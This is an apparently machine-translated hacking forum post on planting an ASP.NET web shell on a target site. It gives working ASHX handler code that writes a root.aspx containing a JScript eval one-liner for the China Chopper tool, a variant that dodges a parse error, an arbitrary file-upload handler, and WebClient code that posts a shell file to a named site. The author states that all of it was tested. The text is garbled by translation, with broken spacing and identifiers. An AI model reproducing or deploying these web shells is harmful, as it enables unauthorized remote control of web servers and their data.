A site ,., so I plan to first upload an Ashx script and then generate the Aspx file in the current directory (the target cannot execute the Asp file). The following Ashx code is found on the Internet: <% @ WebHandler Language = "C #" Class = "Handler" %> using System; using System. web; using System. IO; public class Handler: IHttpHandler {public void ProcessRequest (HttpContext context) {context. response. contentType = "text/plain"; StreamWriter file1 = File. createText (context. server. mapPath ("roo T. aspx "); file1.Write (" <% @ Page Language = \ "Jscript \" %> <% eval (Request. item [\ "pass \"], \ "unsafe \"); %> "); file1.Flush (); file1.Close ();} public bool IsReusable {get {return false ;}} I changed Asp in the script to Aspx in the kitchen knife ~ However, an error occurred while executing the command, indicating the Unknown command @ Page. Use the following two methods: 1. Use String to connect to the String <% @ WebHandler Language = "C #" Class = "Handler" %> using System; using System. web; using System. IO; public class Handler: IHttpHandler {public void ProcessRequest (HttpContext context) {context. response. contentType = "text/plain"; string show = "<% @ Page Language = \" Jscript \ "%" + "> <% eval (Request. item "+" [\ "chopper \"] "+", \ "unsafe \"); %> "; StreamWriter file1 = File. createText (cont Ext. server. mapPath ("root. aspx "); file1.Write (show); file1.Flush (); file1.Close ();} public bool IsReusable {get {return false ;}} 2. stupid method. Check the Code <% @ WebHandler Language = "C #" Class = "Uploader" %> using System; using System. IO; using System. web; public class Uploader: IHttpHandler {public void ProcessRequest (HttpContext hc) {foreach (string fileKey in hc. request. files) {HttpPostedFile file = Hc. request. files [fileKey]; file. saveAs (Path. combine (hc. server. mapPath (". "), file. fileName) ;}} public bool IsReusable {get {return true ;}} then use VS to create a WinForm program ~ Write in the main function: System. Net. WebClient myWebClient = new System. Net. WebClient (); myWebClient. UploadFile (" http://www.xcnzz.com/Uploader.ashx "," POST "," C: \ ma. aspx "); execute ~ The above methods are all tested successfully ~ P.S: Thx from T00ls.